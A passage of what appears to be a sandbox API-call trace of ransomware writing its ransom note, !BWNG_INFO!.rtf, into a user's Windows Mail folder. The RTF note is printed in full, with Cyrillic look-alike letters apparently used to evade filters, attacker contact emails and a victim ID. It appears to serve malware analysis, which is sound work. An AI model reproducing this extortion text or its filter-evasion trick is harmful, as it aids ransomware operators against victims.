pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nt\x15F=\x89\x7fSÜÐÓ\x08\x15h|¢IªÓ]a\x0fª¥Gë`07", lpUsedDefaultChar=0x0) returned 14086 [0034.981] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.982] CloseHandle (hObject=0x1b0) returned 1 [0034.982] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\!bwng_info!.rtf")) returned 0xffffffff [0034.982] GetLastError () returned 0x2 [0034.983] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0035.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 